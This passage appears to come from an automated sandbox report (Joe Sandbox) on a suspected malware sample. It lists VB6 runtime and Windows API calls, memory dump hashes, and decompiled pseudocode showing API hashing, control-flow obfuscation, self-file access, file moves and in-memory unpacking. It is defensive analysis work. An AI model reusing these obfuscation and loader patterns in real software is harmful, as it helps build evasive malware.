__vbaObjSet.MSVBVM60(?,00000000), ref: 00415F05
__vbaI2I4.MSVBVM60 ref: 00415F25
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415F3A
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000016C), ref: 00415F5F
__vbaFreeObj.MSVBVM60 ref: 00415F68
__vbaI2I4.MSVBVM60 ref: 00415F7F
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415F94
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000016C), ref: 00415FB9
__vbaFreeObj.MSVBVM60 ref: 00415FC2
__vbaI2I4.MSVBVM60 ref: 00415FD9
__vbaObjSet.MSVBVM60(?,00000000), ref: 00415FEE
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000016C), ref: 00416013
__vbaFreeObj.MSVBVM60 ref: 0041601C
__vbaI2I4.MSVBVM60 ref: 00416030
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416045
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000016C), ref: 0041606A
__vbaFreeObj.MSVBVM60 ref: 00416073
__vbaI2I4.MSVBVM60 ref: 004160AC
__vbaI2I4.MSVBVM60 ref: 004160C2
__vbaI2I4.MSVBVM60 ref: 004160D8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F460,000007E0), ref: 00416107
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F460,000007E8), ref: 00416139
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F460,000007E0), ref: 0041616A
__vbaI2I4.MSVBVM60 ref: 00416188
__vbaI2I4.MSVBVM60 ref: 0041619E
__vbaObjSet.MSVBVM60(?,00000000), ref: 004161B3
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,0000009C), ref: 004161D8
__vbaFreeObj.MSVBVM60 ref: 004161E1
__vbaI2I4.MSVBVM60 ref: 004161F1
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041620A
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,000001C0), ref: 00416231
__vbaSetSystemError.MSVBVM60(?,?), ref: 0041624A
__vbaFreeObj.MSVBVM60 ref: 0041625C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416270
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,000001C0), ref: 00416297
__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 004162B0
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000014), ref: 004162D5
__vbaI2I4.MSVBVM60 ref: 00416301
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041631A
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,000001C0), ref: 00416341
__vbaSetSystemError.MSVBVM60(?,?), ref: 0041635A
__vbaFreeObj.MSVBVM60 ref: 0041636C
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416380
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,000001C0), ref: 004163A7
__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 004163C0
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000014), ref: 004163E5
__vbaHresultCheckObj.MSVBVM60(00000000,?,004104E8,00000100), ref: 0041640F
__vbaStrToAnsi.MSVBVM60(?,Button,00000000,5000000B,?,?,?,?,?,00000000,?,00000000), ref: 00416449
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 00416459
__vbaFreeStr.MSVBVM60 ref: 00416465
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00416475
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041648C
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,000001C0), ref: 004164B3
__vbaSetSystemError.MSVBVM60(?,?), ref: 004164CC
__vbaFreeObj.MSVBVM60 ref: 004164DE
__vbaObjSet.MSVBVM60(?,00000000), ref: 004164F2
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,000001C0), ref: 00416519
__vbaNew2.MSVBVM60(004104D8,0042AA34), ref: 00416532
__vbaHresultCheckObj.MSVBVM60(00000000,027EF774,004104C8,00000014), ref: 00416557
__vbaHresultCheckObj.MSVBVM60(00000000,?,004104E8,00000100), ref: 00416581
__vbaStrToAnsi.MSVBVM60(?,Edit,00000000,54010000,?,00000000,?,?,?,00000000,?,00000000), ref: 004165BA
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 004165CC
__vbaFreeStr.MSVBVM60 ref: 004165D8
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004165E8
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416610
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00410414,00000210), ref: 00416633
__vbaCastObj.MSVBVM60(?,00410468), ref: 00416642
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041664D
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00416659
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410468,0000004C), ref: 00416681
__vbaSetSystemError.MSVBVM60(?,00000030,?,00000001), ref: 0041669E
__vbaSetSystemError.MSVBVM60(?,000000C5,?,00000000), ref: 004166BD
__vbaStrToAnsi.MSVBVM60(?,?), ref: 004166C7
__vbaSetSystemError.MSVBVM60(?,0000000C,00000000,00000000), ref: 004166DB
__vbaStrToUnicode.MSVBVM60(?,?), ref: 004166E5
__vbaFreeStr.MSVBVM60(?,00000000), ref: 004166EE
__vbaLenBstr.MSVBVM60(?), ref: 004166F8
#516.MSVBVM60(?), ref: 00416706
__vbaSetSystemError.MSVBVM60(?,000000CC,00000000,?), ref: 00416741
ShowWindow.USER32(?,00000005), ref: 0041674E
__vbaObjSet.MSVBVM60(?,00000000), ref: 00416766
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004104F8,00000040), ref: 00416785
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410414,000001C0), ref: 004167AF
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004167C5
__vbaObjSet.MSVBVM60(?,00000000), ref: 004167D8
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004104F8,00000040), ref: 004167F7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00410414,000001C0), ref: 00416821
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 00416831
__vbaFreeObj.MSVBVM60(0041686D), ref: 0041685D
__vbaFreeStr.MSVBVM60 ref: 00416866

Strings

Edit, xrefs: 004165B4
Button, xrefs: 00416443

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$CheckHresult$Free$ErrorSystem$List$Ansi$New2$MoveUnicode$#516#525#616BstrCastCopyShowWindow
String ID: Button$Edit
API String ID: 47084911-194258807
Opcode ID: f82bf783298826b457ba641c5b1a280949302d1d19247fe771af235a0b4fd448
Instruction ID: c2fe4f57df809c9c010dc1cdbf862f63a0087c7c8e9a089793c4f6b94b841b24
Opcode Fuzzy Hash: f82bf783298826b457ba641c5b1a280949302d1d19247fe771af235a0b4fd448
Instruction Fuzzy Hash: F0725E70A00604AFD7149BA4DD48FEFB7B8FF48705F104529F646E72A1DB74A886CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004229F0, Relevance: 45.8, APIs: 25, Strings: 1, Instructions: 255
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004240C0: __vbaVarVargNofree.MSVBVM60(?,?,00424414,?), ref: 004240D3
Part of subcall function 004240C0: __vbaI4Var.MSVBVM60(00000000,?,?,00424414,?), ref: 004240DA

__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,00000019,72A0C33A), ref: 00422AB1
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?), ref: 00422B12
__vbaVarTstEq.MSVBVM60(?,?,00001BBC), ref: 00422B78
__vbaI2Var.MSVBVM60(?), ref: 00422B87
__vbaStrMove.MSVBVM60(00000000), ref: 00422B98
__vbaVarTstEq.MSVBVM60(00008002,?), ref: 00422BBF
__vbaSetSystemError.MSVBVM60(?), ref: 00422BFE
__vbaSetSystemError.MSVBVM60(?,00000000,00000000,00001C1F), ref: 00422C3C
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?), ref: 00422CEC
__vbaSetSystemError.MSVBVM60(00000000,?,00000004), ref: 00422D14
__vbaCheckTypeVar.MSVBVM60(?,00411A18), ref: 00422D1F
__vbaVarLateMemCallLd.MSVBVM60(?,?,hwnd,00000000), ref: 00422D3C
__vbaI4Var.MSVBVM60(?,00000001,?), ref: 00422D62
__vbaI4Var.MSVBVM60(?,00000000), ref: 00422D6C
__vbaSetSystemError.MSVBVM60(00000000), ref: 00422D7A
__vbaFreeVar.MSVBVM60 ref: 00422D88
__vbaVarMove.MSVBVM60 ref: 00422DB9
__vbaSetSystemError.MSVBVM60(-00000004,?,00000001), ref: 00422DDD
__vbaFreeVar.MSVBVM60(00422E30), ref: 00422E10
__vbaFreeVar.MSVBVM60 ref: 00422E15
__vbaFreeVar.MSVBVM60 ref: 00422E1A
__vbaFreeStr.MSVBVM60 ref: 00422E1F
__vbaFreeVar.MSVBVM60 ref: 00422E28
__vbaErrorOverflow.MSVBVM60(?,?,?,00000019,72A0C33A), ref: 00422E47

Strings

hwnd, xrefs: 00422D2F

Memory Dump Source

Source File: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Free$Error$System$List$Move$CallCheckLateNofreeOverflowTypeVarg
String ID: hwnd
API String ID: 2059686369-1070177613
Opcode ID: 2f492016b26e4457f4250573f2c6ec222418582bb05ae5cdf28aff983abd056d
Instruction ID: 23fcae3a1f162950d6ace3d42bd84e4bbed8cba36ac589c416da33b1d5dbda45
Opcode Fuzzy Hash: 2f492016b26e4457f4250573f2c6ec222418582bb05ae5cdf28aff983abd056d
Instruction Fuzzy Hash: 22A15DB0E00229ABDB20DF65DD45BDDB7B8BF44344F4085AAE409B7250DBB85A88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00422660, Relevance: 19.6, APIs: 13, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,00401D25,00000000,?,00401610,?), ref: 004226B4
__vbaAryLock.MSVBVM60(?,00000000), ref: 004226C7
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00401D26), ref: 004226EF
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00401D26), ref: 004226FC
__vbaAryLock.MSVBVM60(?,?), ref: 00422709
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00401D26), ref: 00422728
__vbaGenerateBoundsError.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00401D26), ref: 00422731
__vbaSetSystemError.MSVBVM60(?,?,00401D26), ref: 00422751
__vbaAryUnlock.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00422761
__vbaAryUnlock.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00422767
__vbaAryMove.MSVBVM60(?,?), ref: 00422771
__vbaAryDestruct.MSVBVM60(00000000,?,004227B0), ref: 004227A9
__vbaErrorOverflow.MSVBVM60(00000000,?,00401610,?,?,?,?,?,?,?,?,00000000,00401D26,?), ref: 004227C6

Memory Dump Source

Source File: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID: __vba$Error$BoundsGenerate$LockUnlock$DestructMoveOverflowRedimSystem
String ID:
API String ID: 1650229119-0
Opcode ID: a4d49285ffdaf3bf251c925da12021fbf1b2636bc16d54831f22787ec9c3e71c
Instruction ID: 5bcb73a249b99ed0406a2e9b3568af4946de10a5941a691269fdbdf231264a20
Opcode Fuzzy Hash: a4d49285ffdaf3bf251c925da12021fbf1b2636bc16d54831f22787ec9c3e71c
Instruction Fuzzy Hash: C0414F75A00218AFCF04DF94DE85EAEF7B9FF88700F50415AE901B7250D7B5A941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 003F8400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E003F8400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E003FB6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x3fdec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E003F3F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E003F3E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x3fdec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x3fde3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E003F3F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E003F3E60(_t101, _t98, 0x20de7595, _t126);
									 *0x3fde3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x3fe1d4;
										if(_t93 == 0) {
											_t97 = E003F3F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E003F3E60(_t101, _t97, 0xa229df38, _t126);
											 *0x3fe1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x3fe3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E003F3F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E003F3E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x3fe3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x3fde04;
							if( *0x3fde04 == 0) {
								_t95 = E003F3F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x3fde04 = E003F3E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x003f8400
0x003f8400
0x003f8406
0x003f840e
0x003f8416
0x003f841e
0x003f8426
0x003f842b
0x003f8430
0x003f8438
0x003f8440
0x003f8445
0x003f844a
0x003f8452
0x003f845a
0x003f8462
0x003f846a
0x003f8472
0x003f847a
0x003f8482
0x003f8491
0x003f8496
0x003f849a
0x003f84a2
0x003f84af
0x003f84b3
0x003f84bb
0x003f84c3
0x003f84cb
0x003f84cf
0x003f84d7
0x003f84df
0x003f84df
0x003f84e3
0x003f84e3
0x003f84e3
0x003f84e3
0x003f84e9
0x00000000
0x00000000
0x003f84ef
0x003f866e
0x003f8676
0x003f8696
0x003f869a
0x003f86a2
0x003f86a6
0x003f86aa
0x003f86b2
0x003f86b4
0x00000000
0x003f86ba
0x003f86ba
0x003f86c5
0x003f86d1
0x003f86bc
0x003f86bc
0x003f86be
0x00000000
0x00000000
0x00000000
0x00000000
0x003f86be
0x003f86ba
0x003f84f5
0x003f84fb
0x003f854a
0x003f854f
0x003f8551
0x003f8558
0x003f855d
0x003f8564
0x003f8569
0x003f8569
0x003f8578
0x003f857c
0x003f857e
0x003f8589
0x003f858f
0x003f8591
0x003f8598
0x003f859d
0x003f85a4
0x003f85a9
0x003f85a9
0x003f85af
0x00000000
0x003f84fd
0x003f8503
0x003f8543
0x00000000
0x003f8505
0x003f850b
0x00000000
0x003f8511
0x003f8511
0x003f8518
0x003f851f
0x003f8524
0x003f852b
0x003f8530
0x003f8530
0x003f853a
0x003f853c
0x00000000
0x003f853c
0x003f850b
0x003f8503
0x003f84fb
0x00000000
0x003f84ef
0x003f85c8
0x003f85ce
0x003f8630
0x003f8635
0x003f8637
0x003f863e
0x003f8643
0x003f864a
0x003f864f
0x003f864f
0x003f8660
0x003f8662
0x00000000
0x003f85d0
0x003f85d0
0x003f85d6
0x00000000
0x003f85d8
0x003f85de
0x003f85e0
0x003f85e7
0x003f85ec
0x003f85fa
0x003f85fa
0x003f861d
0x003f861f
0x003f8621
0x003f8624
0x00000000
0x003f8626
0x003f8626
0x00000000
0x003f8626
0x003f8624
0x003f85d6
0x00000000
0x003f85b1
0x003f85b1
0x003f85b1
0x003f85bd
0x003f85bd
0x003f85c7
0x00000000

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 003F861D

Strings

) `3, xrefs: 003F8543
) `3, xrefs: 003F85C8
6w:, xrefs: 003F85D0
=, xrefs: 003F846A
6w:, xrefs: 003F8662

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: 9866f31003916de013eb7d8919ff56aed469f561282cf32aee44b9520d542ae7
Instruction ID: f795a1206aa5423e03f9cf3adf433ec086bb72a190e35365588bd7ac4aacc13f
Opcode Fuzzy Hash: 9866f31003916de013eb7d8919ff56aed469f561282cf32aee44b9520d542ae7
Instruction Fuzzy Hash: 6561E571A083159FC71ADF68C44567FBBE5ABA0714F00881DF6998B2A0DB78DD08CF82

Uniqueness

Uniqueness Score: -1.00%

Function 003E0D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 003E0F08
Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 003E0F3E
Part of subcall function 003E0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 003E0F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 003E0DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 003E0DC3

Part of subcall function 003E1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,003E0EFD,00000000), ref: 003E1155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 003E0E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 003E0E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 003E0E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 003E0E98

Memory Dump Source

Source File: 00000007.00000002.2256690931.00000000003E0000.00000040.00000001.sdmp, Offset: 003E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_tmp_e473b4.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: a87b73b8257e279d43e42b426a9f1cecad3e22117c6b5a7637c289f792f6fd94
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: 3531C572A043905BD729DB62CC44AAF73E9EBC8381F040E2CB549D7395D6B5D9C18B61

Uniqueness

Uniqueness Score: -1.00%

Function 003F3780, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E003F3780(void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v520;
				char _v528;
				char _v536;
				char _v1040;
				char _v1056;
				short _v1072;
				char* _v1076;
				char* _v1080;
				intOrPtr _v1084;
				intOrPtr* _t12;
				intOrPtr* _t14;
				intOrPtr* _t16;
				intOrPtr* _t18;
				intOrPtr* _t20;
				signed int _t26;
				void* _t36;
				void* _t63;
				void* _t66;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				struct _SHFILEOPSTRUCTW* _t73;

				_t70 =  &_v1072;
				_t12 =  *0x3fddc0;
				_t66 = __ecx;
				_t63 = __edx;
				if(_t12 == 0) {
					_t12 = E003F3E60(_t36, E003F3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3fddc0 = _t12;
				}
				 *_t12( &_v1072, 0, 0x1e);
				_t14 =  *0x3fddc0;
				_t71 = _t70 + 0xc;
				if(_t14 == 0) {
					_t14 = E003F3E60(_t36, E003F3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3fddc0 = _t14;
				}
				 *_t14( &_v1040, 0, 0x208);
				_t16 =  *0x3fddc0;
				_t72 = _t71 + 0xc;
				if(_t16 == 0) {
					_t16 = E003F3E60(_t36, E003F3F00(0xc6fbcd74), 0x7e0ae558, _t69);
					 *0x3fddc0 = _t16;
				}
				 *_t16( &_v520, 0, 0x208);
				_t18 =  *0x3fe298;
				_t73 = _t72 + 0xc;
				if(_t18 == 0) {
					_t18 = E003F3E60(_t36, E003F3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x3fe298 = _t18;
				}
				 *_t18( &_v1040, _t66);
				_t20 =  *0x3fe298;
				if(_t20 == 0) {
					_t20 = E003F3E60(_t36, E003F3F00(0x9bab0b12), 0xba782e65, _t69);
					 *0x3fe298 = _t20;
				}
				 *_t20( &_v528, _t63);
				_v1084 = 1;
				_v1080 =  &_v1056;
				_v1076 =  &_v536;
				_v1072 = 0xe14;
				if( *0x3fe30c == 0) {
					 *0x3fe30c = E003F3E60(_t36, E003F3F00(0xd9518805), 0x262a6194, _t69);
				}
				_t26 = SHFileOperationW(_t73); // executed
				asm("sbb eax, eax");
				return  ~_t26 + 1;
			}

0x003f3785
0x003f3780
0x003f378c
0x003f378f
0x003f3793
0x003f37a6
0x003f37ab
0x003f37ab
0x003f37b9
0x003f37bb
0x003f37c0
0x003f37c5
0x003f37d8
0x003f37dd
0x003f37dd
0x003f37ee
0x003f37f0
0x003f37f5
0x003f37fa
0x003f380d
0x003f3812
0x003f3812
0x003f3826
0x003f3828
0x003f382d
0x003f3832
0x003f3845
0x003f384a
0x003f384a
0x003f3855
0x003f3857
0x003f385e
0x003f3871
0x003f3876
0x003f3876
0x003f3884
0x003f388a
0x003f3892
0x003f389d
0x003f38a6
0x003f38b4
0x003f38cc
0x003f38cc
0x003f38d5
0x003f38d9
0x003f38e2

APIs

SHFileOperationW.SHELL32 ref: 003F38D5

Strings

X~, xrefs: 003F379F
X~, xrefs: 003F3806
X~, xrefs: 003F37D1

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: X~$X~$X~
API String ID: 3080627654-3258893172
Opcode ID: b1167d3f5d7ea67edebb1e88cad38a88e9d3f770a5449d1c4e1111005eca55c9
Instruction ID: 7c384cc3199b6d099e326663e44edb2ff8dd56d6d3a14bd85699e4b51bcb176d
Opcode Fuzzy Hash: b1167d3f5d7ea67edebb1e88cad38a88e9d3f770a5449d1c4e1111005eca55c9
Instruction Fuzzy Hash: 1731BCB16003495BD716ABB9DC05BBB37EAAF94704F00092DFA15CB2A5EB34DA05C791

Uniqueness

Uniqueness Score: -1.00%

Function 003F7120, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E003F7120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E003F34C0(0x3fd830);
							__eflags =  *0x3fdd1c;
							if( *0x3fdd1c == 0) {
								 *0x3fdd1c = E003F3E60(_t21, E003F3F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x3fe548; // 0x598118
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x3fe494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E003F3E60(_t21, E003F3F00(0x9bab0b12), 0x7facde30, _t53);
								 *0x3fe494 = _t9;
							}
							_t48 =  *_t9();
